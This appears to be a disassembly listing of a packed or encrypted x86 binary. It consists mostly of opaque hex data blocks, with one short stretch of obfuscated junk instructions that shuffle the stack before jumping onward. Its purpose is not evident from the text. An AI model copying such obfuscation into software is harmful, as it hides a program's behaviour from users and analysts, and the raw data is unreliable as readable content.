		dd 655BF8Dh, 0A5B65A28h, 4219F9C7h, 0DC7F9664h,	0CE0963FEh
		dd 68361447h, 1CFADAEh,	9D6B4912h, 3709E774h, 6BEACC53h
		dd 956F84D4h, 4E0D04F6h, 4D682D2Bh, 131C1408h, 57BA7E61h
		dd 61591E04h, 0D628C2F8h, 6B1A41D0h, 997BCD88h,	3FC63E22h
		dd 7EC7D55Dh, 67F422E2h, 4F36D5B8h, 0FFDE884Bh,	6386D541h
		dd 8A78B99Ch, 9F000006h, 0C76B583Bh, 2247DA7Eh,	7D4467F4h
		dd 779AC151h, 941B01B0h, 78BA6269h, 0C7856BAEh,	6533114Ah
		dd 8C8CAFACh, 0E0674D95h, 72B38645h, 6749D04Ah,	9E72B35Fh
		dd 9BAACEBh, 34775C86h,	0D81D4E85h, 83E417ADh, 0C3387h
		dd 2338DF00h, 0BE9D7745h, 5DFE12E0h, 0FA61B17Fh, 94C74E1Ch
		dd 86511BB6h, 20EECC8Fh, 0B98765F6h, 5523015Ah,	0EFC19FBCh
		dd 6CA2840Bh, 4D2784D4h, 4E0D04AEh, 4D90A368h, 0F348F271h
		dd 115510h, 7179385Bh, 1A41D00Ah, 2EDC6F34h, 0A5AA58Dh
		dd 422536DEh, 676223CCh, 4A29DE88h, 50000001h, 694BD24Ah
		dd 0A07EC76Bh, 5C7BC5A6h, 81C4A96Eh, 2437DA9Eh,	0C596803Eh
		dd 3DF8DBA2h, 654318F9h, 0F32346DBh, 19FB8268h,	9E7EC832h
		dd 3FC6AC5Bh, 78C1426Ch, 7E8BAEF1h, 78C122A8h, 2D338836h
		dd 0D5B8A36Fh, 8EFE4F36h, 383CE4h, 8C4A0000h, 0E8AFD289h
		dd 0D24AA005h, 0C76B694Bh, 0C8ABEE7Eh, 2309D148h, 0BF9BC59Ch
		dd 92834178h, 0FCDFA6C9h, 0C193C7Fh, 78C03B36h,	9AA116C4h
		dd 0E48FE1EBh, 0AAA0h, 0D04C700h, 779B43D1h, 0A08635E4h
		dd 92C2FE2h, 0A6A45F42h, 0A4144FE1h, 7255AEF0h,	0D1F467AEh
		dd 0B4D7848Dh, 0DCBAA170h, 0C6A17545h, 0F566AB7Eh, 99C2510Fh
		dd 56CCAF76h, 0A78D55CCh, 48C6A82Fh, 0BEFD7EC7h, 3EC94B2Ch
		dd 9376B99Eh, 8BDC8E15h, 0DE2178BCh, 80DB3AF8h,	9D41D4A2h
		dd 0FCC3E675h, 295F164Dh, 41A211A3h, 0AE345h, 73E82F00h
		dd 0E4DC795h, 0ADAE6230h, 4A1101CFh, 0E4779E6Ch, 0D6016B06h
		dd 703E1C3Fh, 9D7B5A6h,	0A573510Ah, 3F11EF6Ch, 6DF2D45Bh
		dd 9D7784D4h, 4A1104FEh, 0E8739E6Ch, 8BD04402h,	4C332A8h
		dd 0E72B4E0Dh, 0CD53312Ah, 4A5h, 5D819351h, 0B980A3B8h
		dd 3D20E70Ah, 9D148D8h,	888D9C23h, 478A78BFh, 51411724h
		dd 21CF78C0h, 0CBE0A55Ah, 14ABE48Fh, 0B9000002h, 6042C941h
		dd 0E578C045h, 44CBADA2h, 905078C0h, 0F1B8DB80h, 3BFA5F42h
		dd 7EC76B5Eh, 0B39941D8h, 0BA61FB2Ch, 17FD4078h, 0C5A3B859h
		dd 1E411AF7h, 0E7AC3B1Eh, 913FF7DEh, 1F01F638h,	0A478BB43h
		dd 0ECCB261h, 0F2705308h, 0B456D06Bh, 0D55CD472h, 72B42FF3h
		dd 0D5523578h, 35245B92h, 7CDD17ACh, 0A0780h, 4F0C0B00h
		dd 0EA71A371h, 89D23E0Ch, 2635DDABh, 0C09B7A48h, 0B22547E2h
		dd 4C1AF863h, 0E5B391CAh, 814F2D2Eh, 1BEDCB90h,	6ECEB037h
		dd 795384D4h, 4E0D04DAh, 312AE72Bh, 70474F0Eh, 12F06BA6h
		dd 88B11C69h, 1656FDEh,	4A960000h, 0AFD2898Ch, 0D04105E8h
		dd 0ED24688Bh, 4A08906Eh, 30B093C8h, 528E6D29h,	0F2ABA5Bh
		dd 44027A60h, 1CA98CCFh, 78C10549h, 5B688BCEh, 78C0E585h
		dd 0E91E6513h, 0E48F3B9Ch, 5FEFh, 0D33FFD00h, 0BB9E6588h
		dd 8CD14856h, 0EDB4D784h, 0FAD1583Eh, 7778BF9Ah, 5E4D9AB0h
		dd 0BE85A8B3h, 1646568Bh, 763D60FBh, 0E8F518C7h, 78C04E12h
		dd 0CE4604A0h, 375A0110h, 4EDEC170h, 0E035F369h, 964516FEh
		dd 2AC9AC73h, 0E48FCE5Bh, 80DB35F3h, 0BE20125Dh, 0AB054A01h
		dd 0A9D819FCh, 0FF000000h, 684E0D04h, 876F68AAh, 86368E7h
		dd 0E9B0D382h, 8F4D4B06h, 0EDB4D784h, 0FCF460Ah, 88AB5A01h
		dd 0A88ECD44h, 4F3229EAh, 9AC15094h, 694525BCh,	0FCC17EC7h
		dd 0F55179B0h, 0BCFB206h, 0ED775506h, 41C8AE74h, 78BDAB8Fh
		dd 33AB91D4h, 0BE5ACAACh, 290C4F78h, 3328EDABh,	0CD8E8755h
		dd 0A20A3396h, 0B1AD0E11h, 8B8h, 0C09EBD5Ah, 5B3922F2h
		dd 0FAD8838Dh, 9775E62Ch, 310F4CC9h, 1401D696h,	7B9B6947h
		dd 0DF3402E0h, 41D09E7Ch, 866A3C1Ah, 0D4701DFFh, 29C8A284h
		dd 0D3888C4Ah, 4206E9B0h, 0DCAA88D3h, 0D9482635h, 40D10D04h
		dd 8231F81Bh, 0E1F61B5Fh, 2BE99B01h, 13460D30h,	17C6D061h
		dd 267B339h, 48500000h,	9C2309D1h, 78BA62D1h, 0E2799755h
		dd 9815F8BFh, 76343255h, 86D5419Dh, 0CAED9C63h,	0BD932003h
		dd 4B78BA73h, 6421269Dh, 27E495A9h, 20Fh, 14D24A4Eh, 743B5EFDh
		dd 0C76B9D7Fh, 0E394D47Eh, 0F2018D55h, 5DE4CA0Dh, 7EC80A7Bh
		dd 4DDABD00h, 7EC80A70h, 4E2B77EAh, 0D607972Fh,	50D7BD6Ch
		dd 78BB384Dh, 2BE9CF12h, 0F9775E6h, 0BBA1D297h,	7C101980h
		dd 0BB1BA587h, 0A76A2A78h, 1BCA91B4h, 0BE9D7438h, 60869B9Bh
		dd 2E58F37Ah, 9E5C72B4h, 0FFC6E972h, 3B1E3DD3h,	8F447BBEh
		dd 0B217AC5Dh, 7B25551h, 0B7600000h, 1CF8C6A4h,	7D93613Fh
		dd 0E03200DEh, 46CF9D7Bh, 0D09C3715h, 6F4D0E07h, 8E675A1h
		dd 0A482D93Ah, 42203BD6h, 23058C70h, 0A884D471h, 0D042FCEh
		dd 2AE72B4Eh, 6B9173FAh, 0D3167EC7h, 3A420124h,	0AC789945h
		dd 0C76B4325h, 0C74EC87Eh, 7EC76AE5h, 0C978276Ah, 0B14342EBh
		dd 3848DE88h, 56000001h, 0F9CC3891h, 13F68791h,	0CA0D04AEh
		dd 0DB6291CCh, 7EC77AF9h, 33083B7Eh, 0A0C372A0h, 0C8A6B55Ch
		dd 1D03DB3Eh, 0C07BC396h, 0E2054878h, 0C05AFFD5h, 98DF8D78h
		dd 8FC52263h, 4169E4h, 0B9770000h, 0A9E87E59h, 9EB14979h
		dd 8988CCEFh, 39E8AFD2h, 0D148F156h, 0C59C2309h, 4278BF9Bh
		dd 0B85B19FFh, 0D6B980A3h, 3B380E1Bh, 18C678C0h, 0E1E99CA3h
		dd 0ADA2E48Fh, 0B0000000h, 153823F2h, 4066B4Eh,	0E72B4E0Dh
		dd 0CF472D2Eh, 0C76B6648h, 75A8EB7Eh, 0FAFEE37Dh, 712C0F04h
		dd 9177E42Dh, 381AA119h, 0BD7EC810h, 10A3857Ah,	0E5287EC8h
		dd 0E034702h, 681744D0h, 0D144028Ah, 6A1AA78Ah,	607EC786h
		dd 42CCAAB1h, 9A2107DFh, 78BD3CE8h, 4604EA2Dh, 0E0AE8CCFh
		dd 0EEEF2635h, 5311A278h, 66EF6F2h, 73A40000h, 0D83C0AE8h
		dd 39D7A583h, 9C764422h, 213E1BFh, 8CE07B59h, 0B391CA4Bh
		dd 4C2A31E5h, 0E8C6957Eh, 8664F71Ah, 6749D0B4h,	0EC84D472h
		dd 11047312h, 739E6C4Ah, 0BD820AE8h, 76DA6709h,	0B705334h
		dd 0D7848C4Ah, 7AE130F4h, 5DFE1357h, 27F97Fh, 4960000h
		dd 0CB0ECA0Dh, 2DA848D7h, 0FA175B7Eh, 17DF3E61h, 0BD44BCA0h
		dd 7EC862DBh, 763A1D60h, 5CE2C09Bh, 19h, 4E0D04F9h, 6B471E2Bh
		dd 74887EC7h, 993ED30Fh, 0EFBF52E2h, 0F7D584E8h, 4E0D0488h
		dd 6C362B2Bh, 0DACF1912h, 1F5C8F3Ch, 0BC85EAA7h, 0D34B31E0h
		dd 251C440Eh, 0B1A66D41h, 7EC7B8CFh, 0B02E1154h, 0BAB06229h
		dd 0F71FDF78h, 92C2FE7h, 0A9709342h, 0BC5614FAh, 0D2B57C9Fh
		dd 0E07B9654h, 7EDD3402h, 0B7992098h, 3C78BAC0h, 0DB89C6F9h
		dd 7E4E6768h, 79E0E09Bh, 0BC43BBA1h, 78BB4CDAh,	0EA719F5Fh
		dd 53DA583Bh, 72AE43AFh, 0CD8B71B4h, 6C311744h,	0AE4B2F9Eh
		dd 0A218FB9Bh, 8415551Ah, 0B474F1D6h, 0E06547CEh, 0A7EA72ADh
		dd 4A1100C4h, 68322727h, 730A3757h, 16F87FAFh, 9B72AE65h
		dd 3CC3A958h, 72AE655Ah, 7ED9CDFh, 0A67B4D80h, 9219916Ch
		dd 6CA74CB0h, 920FF235h, 6E1D3ED2h, 0B9197037h,	3430911Dh
		dd 50Ch, 6C4A1106h, 7E5769Eh, 0A684D739h, 43213AD8h
		dd 0DDBBA075h, 68AD2A42h, 0CF4715F3h, 33E0AE8Ch, 957C4A28h
		dd 3216E8C6h, 0D473C9ABh, 0D5744E84h, 41D10D04h, 8130F71Ah
		dd 1F3CD5A3h, 259B8FCh,	0A31820DFh, 0DBC19A77h,	3F62F91Dh
		dd 761F9578h, 0DE88B10Fh, 497Ch, 8B128A00h, 7EC75FA9h
		dd 3553DCE0h, 4D32084Dh, 0AF03D70Ah, 9D8838E4h,	0D14855BAh
		dd 0B1D4878Ch, 853BEEAh, 32EC7359h, 7778BFB5h, 81904E34h
		dd 0BB79F7DAh, 8E250358h, 78C01DB6h, 583625ECh,	0AFD2898Ah
		dd 46BB3h, 0D045000h, 8AA3684Eh, 0A616B7Fh, 0F79E5386h
		dd 9F01DA57h, 54BD01BCh, 0BA9F2907h, 24F77E64h,	0A978C11Ch
		dd 60364366h, 9678C0FCh, 78BCDF7Ch, 8096C299h, 0E36DB8DBh
		dd 207E8034h, 4E35A397h, 288F3D11h, 8F347213h, 4B19E4h
		dd 69270000h, 918FB2A9h, 0C0E4280Ah, 0BB6AAD78h, 0D14873D8h
		dd 115E2309h, 5AEEF06Ah, 0A616CD83h, 0D7863323h, 18EF76F4h
		dd 9578C00Dh, 4C222F52h, 0DA78C0ADh, 0D5B0572Ch, 79E48F6Fh
		dd 1E015ABBh, 0CFDDh, 0E82DEB00h, 0A6895073h, 0BB854A41h
		dd 0B2D0585Ch, 6648CFB5h, 0EB7EC859h, 1001C5A8h, 31E4284Bh
		dd 4EC3072Ah, 6BA6EA0Dh, 97BAA173h, 0EC9BC053h,	7799573Dh
		dd 17FAC1E4h, 5C0A0AA1h, 91807EC8h, 6F92C94Dh, 4D1BF9A8h
		dd 747497C4h, 914F35EDh, 0EEB5D883h, 8B068D0Bh,	5078C07Ch
		dd 0B2D58690h, 83CDB8EBh, 0A6C84714h, 0CC9119F7h, 0C1DF6002h
		dd 43C3A6F9h, 0D08B8BDEh, 5137E6ADh, 0B63E1ECAh, 3A206372h
		dd 0E4C2997Ch, 255CFF16h, 17A97F8Ch, 45181475h,	0CD000003h
		dd 6533114Ah, 0CEACAFh,	9F6D4B10h, 3C0AE873h, 9A482D9h
		dd 0BAA17463h, 53080EDCh, 0EF6CA775h, 8DCE4311h, 72F9DDAFh
		dd 84D47590h, 49C3B15h,	9E6C4A11h, 9B0AE873h, 2309D148h
		dd 1BCECA5Eh, 3F22F8C5h, 0E4633AC1h, 9DE078BFh,	858FF2B7h
		dd 0D89AF566h, 0D2F566ACh, 606D280Bh, 78C0A58Ah, 0EE156A18h
		dd 0E48F7797h, 3E1DF9B7h, 0B4961D1Bh, 3978C099h, 236447F6h
		dd 0F9h, 0B9A27331h, 62E9CF96h,	78C09980h, 7ADFC205h, 0C272854Ah
		dd 7E75290Fh, 213AD79Bh, 5BBAFEh, 391BA21Ah, 0BE7EC840h
		dd 0D0DD987Bh, 7EC842D0h, 0AB8D148Ch, 307EC83Bh, 9E8007EDh
		dd 237EC83Bh, 0D839FDE0h, 5F1DA583h, 0BC83A6B5h, 5FFC15D9h
		dd 0FD253C3Ch, 64159017h, 97DA78C0h, 0F42A2FB9h, 0BB82870Eh
		dd 0BF7F72B6h, 20E70A51h, 9B138B71h, 0B76C3214h, 9174B772h
		dd 351348CDh, 76ADAE67h, 17A8F945h, 3D5F5BBCh, 0D5000002h
		dd 6D3B1942h, 8D6B4A7h,	0A7755308h, 4412F06Bh, 11AC8AD1h
		dd 0C2997C5Bh, 5B0016E4h, 0F764AF7Dh, 95C64B19h, 7A01E5B7h
		dd 84D47698h, 4A4431Dh,	0E46C4A11h, 6B03E56Ch, 45887EC7h
		dd 0B1739E62h, 0C76B482Ah, 6345CC7Eh, 0E87EC76Bh, 1300C0A5h
		dd 0A36D9948h, 1FCE95B8h, 0AF4B941h, 3526EE95h,	11E37002h
		dd 8C9538DCh, 5F42F1F8h, 0CA0D04FAh, 8E2D19F4h,	3F21A892h
		dd 0C47EC779h, 23D281h,	280655BCh, 0BEA4B75Ah, 0C8E63BF9h
		dd 5B3E2067h, 61B9A0A0h, 14A5F47Bh, 5B2278C0h, 29B49553h
		dd 1546CF7Dh, 5094B766h, 33779AC1h, 2F587BE0h, 19A084FBh
		dd 78C0E037h, 0D6CA79BCh, 4AC71368h, 6D35BC8Dh,	0B05DBD8Ch
		dd 0EB0B9129h, 300EBD6Ch, 856BB3A6h, 0B966EBFEh, 8AADF072h
		dd 0AB8D148Ch, 3072B9FFh, 0CB460AEDh, 580E6D90h, 0FF7759E0h
		dd 0B9FC72B9h, 0E97146D6h, 4CC4AA70h, 0FF6B4DD4h, 0ADF072B9h
		dd 342A3DCAh, 0EC2F6CB2h, 0DD1400Eh, 0BFA55407h, 0CBDEC047h
		dd 0E9636CB2h, 0B2CC8062h, 13C2056Ch, 0E2317530h, 0DC4A5679h
		dd 820981E7h, 6CB2CCA0h, 3BFFE225h, 520908D6h, 0CC03E56Ch
		dd 45886CB2h, 2B2EB896h, 37860DF3h, 0B466AAF6h,	70A4E71h
		dd 0B7253154h, 0A2C75AC0h, 0FEC5E873h, 66AB694Fh, 114AC9F5h
		dd 0DA29B02Eh, 5760A3C8h, 7968B890h, 0CE7D0F68h, 6CAA68F0h
		dd 97BAA172h, 0B43B21D0h, 60A50BD2h, 0B1311457h, 58C72A8h
		dd 5A98026Dh, 0F368AA6Ah, 34DD2144h, 967B4927h,	4595A2C5h
		dd 7B9DB85Fh, 5FA3C695h, 5982A5B6h, 0BA015E25h,	23058C04h
		dd 61FDB8C8h, 0C188ABB0h, 26B699DCh, 0CC53CB51h, 0FDB8C7EAh
		dd 85492C6Fh, 23F1CF8Ch, 4C4A6DEEh, 6A388987h, 36BD78F1h
		dd 0FDB8C354h, 4E796D9h, 50CD240h, 0BD6C3356h, 2C8312D7h
		dd 91B4A769h, 8F8097CAh, 34702E5h, 0E72B4E0Dh, 130D302Bh
		dd 695D3A81h, 0DBA084FBh, 0E3AEBB55h, 0E6C84F35h, 6BFDB8F8h
		dd 0D2967928h, 703E1C3Fh, 5CD4BAA1h, 0B8F8F3D5h, 5AB878FDh
		dd 0B46F5201h, 3B8h, 15205500h,	25481304h, 82B30E1h, 0E90C4FC4h
		dd 0C7EA71A5h, 0A6C99283h, 85A8B362h, 678AD141h, 4B6EED23h
		dd 2B4E0D07h, 0E289522Ah, 4C281h, 0EA830000h, 24143304h
		dd 33241431h
		db 14h,	24h, 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	60CF9C4h
		mov	eax, [esp]
		add	esp, 4
		push	72DAh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	40A3h
		mov	[esp], eax
		pop	dword ptr [ecx+8]
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_4FF07A
; ---------------------------------------------------------------------------
		db 7Dh,	50h, 0C6h
		dd 33B841F6h, 3060D0Eh,	0CAE0FFC5h, 8740E802h, 983CCED0h
		dd 0DC16EDF6h, 4930B8DDh, 621F3F04h, 0AB222316h, 72162FB4h
		dd 0DF44C128h, 5E2B3190h, 0E379C928h, 79CB70h, 0CF08A402h
		dd 0F25C08F6h, 2A45C4B4h, 0EC4F5FE5h, 1952649Bh, 6708F264h
		dd 6D149283h, 0B9615C63h, 46053D9h, 6C2AD9C0h, 6171CEA9h
		dd 8B70129Ch, 0FE16DE37h, 0F14D5E04h, 2D6B5582h, 0BA075D41h
		dd 0E918BA1Ah, 1Ch, 2FF42E34h, 23D0000h, 5 dup(0)
		dd 0C6DE9h, 10C96800h, 2BE9060Dh, 68FFFB31h, 60D11B7h
		dd 0FB3121E9h, 138168FFh, 17E9060Dh, 68FFFB31h,	60D146Dh
		dd 0FB310DE9h, 155168FFh, 3E9060Dh, 68FFFB31h, 60D1731h
		dd 0FB30F9E9h, 17AF68FFh, 0EFE9060Dh, 68FFFB30h, 60D1911h
		dd 0FB30E5E9h, 1A0F68FFh, 0DBE9060Dh, 0A2FFFB30h, 0EA55D4D7h
		dd 2E9918ABh, 70DB5A61h, 0B621A023h, 0F966E5E4h, 0F92E009h
		dd 52552590h, 992C68D3h, 0DAE1AF1Ah, 14876C5Bh,	2041703Bh
		dd 0ED90E517h, 13B418A3h, 4BBF3E4Dh, 970A8383h,	2C538FB7h
		dd 7F1C80A9h, 0DFB48F54h, 7BD9A687h, 732DEF9Dh,	30BB047Bh
		dd 2A34C0h, 0E45F0000h,	30A31C38h, 2C53AF1Ch, 0F7F4C736h
		dd 21A0F293h, 0A00162BDh, 0AFB49F3Ch, 0C6A7DFB4h, 0CBBD9BF9h
		dd 0D76A732Dh, 95000000h, 8D00A3EDh, 264C7F42h,	4E512190h
		dd 87288CEDh, 0B152B635h, 0C5C496EFh, 7FF6D94Ch, 0B3DC264Ch
		dd 1362D952h, 61D12C90h, 0A5347A1Bh, 84A7BF26h,	81CF264Ch
		dd 4E107BFAh, 849FB023h, 8AB3D9B3h, 952C529h, 0B384B996h
		dd 7099D9h, 1E60AE6Eh, 3AB12A8Bh, 0A904687Bh, 4B6BDE39h
		dd 9DD3AC72h, 206F1F63h, 0D6371B27h, 1B3BE357h,	57642BA2h
		dd 0CD2898F3h, 0AE3AA85Ah, 1891BAD5h, 51D0D3A1h, 701594E6h
		dd 13B8368Bh, 3B9FD7A9h, 0B600000Ah, 0FE69E8E3h, 42AD2CBFh
		dd 84EF6E7Dh, 0CA35B437h, 0D7AF988h, 2BBEFCF5h,	6E7141ACh
		dd 0B53084EFh, 0F685CB36h, 30A38877h, 20416F1Fh, 0EDAC0133h
		dd 0CB7E0BAFh, 0C622F0B3h, 0BAAABB54h, 0A90ABC36h, 0EAF1BF2Ah
		dd 38E4406Bh, 1C30A31Ch, 3A2C53AFh, 69325FF8h, 0F4239526h
		dd 3B9A0AD3h, 3A11AE12h, 0EEDFB4A6h, 4AB61AA1h,	97F5FB32h
		dd 7242E911h, 0D9B0D65Eh, 9F0098EEh, 0BD8A1F3Bh, 723F209Ch
		dd 0F1F0C239h, 42C2328Dh, 732D7D64h, 0C213h, 0A3ED3E00h
		dd 4113B418h, 3941DE42h, 51264C84h, 92FD7C0Fh, 0AF59BDCCh
		dd 0FB6EE76Fh, 0D3AC72FBh, 1185042Dh, 59D049CDh, 0CB268A1Dh
		dd 0AC8D005Bh, 0FED5AEDAh, 9C135CD5h, 0D68CCDFh, 4346149Dh
		dd 0CB3E87C4h, 0D5A33784h, 58D5D0A4h, 6436BF2Fh, 1A4DC065h
		dd 693B13B9h, 94D31h, 0D6D1A400h, 1AADEC57h, 5C6F309Bh
		dd 0A22172DDh, 0E7FAB823h, 0DE07FB68h, 238E0D9Ch, 66D15053h
		dd 0AD189712h, 6A59D8E3h, 6E3D1285h, 0E3152041h, 0D4A41B8Eh
		dd 9AD861D1h, 24B8807h,	4C7F408Fh, 5D239226h, 0F47DED4Eh
		dd 5DA61FAAh, 0BAF9B91Bh, 0B75A0D06h, 264C4898h, 0C02191BAh
		dd 88C73A83h, 0CA264C48h, 0EDE831A1h, 13B418A3h, 4BBF3E4Dh
		dd 79587283h, 812CB59Bh, 0F051B235h, 2CBF0077h,	0F9C66DC8h
		dd 0B42782F2h, 2C53CAACh, 4327B0F2h, 2AFD9626h,	0CE325BBAh
		dd 0D958632Dh, 3599206Eh, 6B41D498h, 81045454h,	9824B11Dh
		dd 0B0791E25h, 0D4384B09h, 355623B8h, 7CE3B0E1h, 0EB28A732h
		dd 31A12474h, 6FD3E6A8h, 0FF1CFED2h, 4F1CB554h,	9413A6E8h
		dd 4C0E6729h, 578DC3Dh,	747745BCh, 0FF1CFED1h, 0D8EBAA54h
		dd 3DC2325Bh, 54FF1C15h, 2C93604Fh, 0F8411162h,	64BF23B6h
		dd 0E3449F03h, 1FACF36Ah, 0FAB960BBh, 0BA2A85E9h, 19A0EE59h
		dd 43C30BB5h, 0F7EB57CAh, 7EED5EE0h, 4C279931h,	46D53228h
		dd 7F2681E5h, 0EB46AA31h, 77970B8Ah, 0C40D56CFh, 0E0A07E51h
		dd 0B92B544Ah, 4FDB8D9Ah, 6CF1619Bh, 40FF3594h,	0A72477E6h
		dd 945E246h, 4C40E90Ch,	24DC009h, 5040E90Ch, 0AB3E8027h
		dd 837CEC47h, 727A58B6h, 0BA29DFDAh, 54000004h,	9590D21Bh
		dd 592D4CCh, 3CC03A6h, 0DD06264Ch, 3E7E86Dh, 8EC5264Ch
		dd 0A6264CF3h, 264CEFB5h, 820152C9h, 17468D12h,	4F98264Ch
		dd 4C17F3DCh, 46B6DF26h, 73EC68B4h, 0DC785B31h,	46EFC4ECh
		dd 43E254EDh, 8CE757C6h, 53754D19h, 49EE172Ch, 19AFF93Eh
		dd 83B2EABCh, 6E000007h, 0B621A02Bh, 0FA65E4E7h, 3CA726B5h
		dd 82ED6C7Fh, 0C532B130h, 0E3E6B43Dh, 26B9F964h, 6D783CA7h
		dd 0AE3D83EEh, 0E85B402Fh, 20416CE7h, 0ED64B9EBh, 569F18A3h
		dd 7FB59A0Dh, 749D264Ch, 4C7FFED1h, 3BABD426h, 83834BF5h
		dd 8EFE970Ah, 37602C59h, 9231B2B8h, 851CA4Ah, 0A502E2C6h
		dd 0D8A6485Ah, 0B1126DD1h, 0F5ECBC41h, 95BED5A1h, 0D5D6A51Ch
		dd 90460571h, 0F9D2A787h, 65C22898h, 26467F2Bh,	0ACE8D6F6h
		dd 0A30487D3h, 0A56C942h, 4C68D909h, 0A4CBF23h,	0E1CC0889h
		dd 0A42773C6h, 9D41D343h, 8BBE0079h, 0BFC091BCh, 1304C14Dh
		dd 9AD548A3h, 0BC12D0C4h, 57617545h, 0DC758F6h,	711276D7h
		dd 0E23DA122h, 89B21181h, 0C4D79910h, 487D44Bh,	7FF63394h
		dd 982B683Dh, 878D934h,	5AA317Fh, 0D82A60F4h, 97E018EAh
		dd 5A000006h, 0A20D8C1Fh, 0E651D0D3h, 28931299h, 6ED9586Bh
		dd 0B11E9D2Ch, 0C7DA9851h, 0A9DDD48h, 5154208Bh, 921967D2h
		dd 0CC3F2413h, 20416B83h, 0E4489DCFh, 30A31C38h, 2C539C28h
		dd 28A3F76Eh, 0CC3059B8h, 0B29D1059h, 0A0DFB49Ch, 307E0777h
		dd 0DAA445A9h, 3AFF6BCFh, 868477DBh, 5F6C33DAh,	0AF7CADFBh
		dd 0F3CC0376h, 0DD06DFB4h, 4C95287Ch, 0B4F3F6D9h, 43B3DCDFh
		dd 0C10D7D4Ah, 0B55CC45h, 42B51080h, 0D5AB103Ah, 35460980h
		dd 0E4EB5ED1h, 0EED5BD10h, 95F464C5h, 4D86ED6Ch, 91D5BD10h
		dd 0D0888F4Fh, 0E9594309h, 0BD2A6B64h, 26E834D5h, 92ED5158h
		dd 4C45B831h, 12DFA8DBh, 970A54D0h, 4FC1A1AFh, 0F05B831Eh
		dd 379606EBh, 0BF0DAA0Eh, 0E7CBA88Eh, 0CBA88EEDh, 4BF0FBC5h
		dd 0DB2A3A8h, 0B31C5426h, 3E000005h, 86F1707Bh,	0CA35B437h
		dd 0C77F685h, 52BD3C4Fh, 95028100h, 0B336846Dh,	0F689C934h
		dd 3D480C77h, 7E0D53BEh, 0B82B10FFh, 20416A97h,	0E43489BBh
		dd 30A31C38h, 2C598E59h, 0A45B8F9h, 48DFBE8Fh, 0B95ABE1Fh
		dd 0F165E4F7h, 29CA2E2Ah, 6AD55467h, 7F0C4F24h,	0FB5FC01Bh
		dd 2185145Ah, 0E821EE87h, 8F232C9Fh, 62FDFBEh, 38430D96h
		dd 0EB7957B9h, 0E0577327h, 50AB0F92h, 1A354E0h,	246D0000h
		dd 0BE839EB1h, 1B8BB4DFh, 5ED91BD2h, 0EAE558C6h, 0E8264CC3h
		dd 70C74DBFh, 0F717A919h, 0FF63D64Fh, 0FD2C53EAh, 7EA972B4h
		dd 0CF76BFECh, 0B513232Ch, 0C59C3ADFh, 0D087A2DFh, 5BBA2A53h
		dd 1C31CE32h, 0CDFB5E6h, 34D5394Ch, 0A1FC606Bh,	0C125B4FAh
		dd 75966352h, 0C098DAD5h, 0FF22430Fh, 4BE639E7h, 0E88FD6D9h
		dd 42B27F78h, 0ACEF699Ah, 0E55976E9h, 5079DFB5h, 250411DEh
		dd 64D84BC4h, 6ED5AA9Ah, 1289C645h, 46CF3F42h, 39D96078h
		dd 0D120B1D8h, 256B0C70h, 7BA31796h, 0A21962DBh, 0B7C28CD1h
		dd 3397F853h, 0E3E368D8h, 0F5DFA2A5h, 80CB68CCh, 0D3CBA665h
		dd 0E9C725F2h, 0C7671F19h, 65370050h, 46A10566h, 204AD6h
		dd 0E4750000h, 30A31C38h, 2C53AF1Ch, 0CA90D36h,	0DFB4AFC7h
		dd 8663314h, 732DCC2Ah,	0AFD9h,	0A3ED0400h, 9CFD8CD2h
		dd 0B5C59738h, 0C623F262h, 82FB5CBAh, 0D4384B0Bh, 22C30979h
		dd 5DD44D5Ch, 0CF2A8E19h, 0E5556828h, 29B0FE9Fh, 243B43AAh
		dd 0D53264Ch, 438BFF7Eh, 8E014AC3h, 264CE441h, 51502291h
		dd 0B22580F0h, 2C56B2EDh, 0A9D267A9h, 3F1C2DDFh, 0CE4770CFh
		dd 1F830857h, 4B5C1DC4h, 0C11C8CE7h, 0FA79084Ah, 19BECD8Fh
		dd 19A074ACh, 0D3E018EAh, 1E000003h, 66D1505Bh,	0AA159417h
		dd 0EC57D6E5h, 329D1CAFh, 75E26160h, 9316648Dh,	0D6E9A914h
		dd 1DA8EC57h, 5E6D339Eh
		dd 980BF0DFh, 204168B7h, 0ED14699Bh, 329D1CAFh,	0B3DE5D6Ch
		dd 0B418A3EDh, 0BF3E4D13h, 5FD21B94h, 264C7F70h, 44C93962h
		dd 264CFF0Fh, 0B3FF2E25h, 31D5F9D9h, 707341B8h,	5B32A500h
		dd 0FBD3A60Eh, 18C46ED2h, 0C01083FCh, 92D5A1DAh, 1613C469h
		dd 0C79913BDh, 3558Fh, 0CED99C00h, 1295E44Fh, 54672893h
		dd 9A296AD5h, 0DFE2B01Bh, 0D60FF360h, 1B860584h, 5EC9485Bh
		dd 0A5108F1Ah, 6251D0DBh, 68C50A7Dh, 0DB0D2041h, 5FD21B86h
		dd 264C7F70h, 40C93962h, 66076B7Eh, 0D5129118h,	8BD80693h
		dd 34A7656Dh, 264C101Bh, 3DAD0E37h, 6AE363ABh, 0F219F328h
		dd 19895C46h, 49F96B74h, 0D02B9BBBh, 5FD24587h,	906F0F13h
		dd 0A55A2F1Bh, 0E858B94Fh, 53CA6363h, 0E84C752Ch, 0B54A004Bh
		dd 0A57253DFh, 2E346947h, 2D1673h, 1B410000h, 62D2D5A4h
		dd 0F2C20CD0h, 0A2158EEFh, 2C53AFAEh, 666135ACh, 0A6E97F6h
		dd 0B4AF666Dh, 0C79475DFh, 2DCB8B69h, 0FC3873h,	1B630000h
		dd 49B878D9h, 0DB4B3A79h, 67370C52h, 44A50064h,	6E7D3FE0h
		dd 5020970Ah, 5B8DC235h, 9CC5264Ch, 7C42CB3Bh, 2668096Dh
		dd 95AD1493h, 0BD264CA0h, 2D6FE8F3h, 0C5C18FB8h, 46A71789h
		dd 7BEE95DBh, 264CE054h, 1E820554h, 0BC1D46C3h,	0F883CC43h
		dd 83C93994h, 981135D9h, 6143B56h, 1282752Eh, 0E6AC44B7h
		dd 0B0F22C53h, 388718BDh, 0AE9541B3h, 6C7F40E7h, 0DE3DAD08h
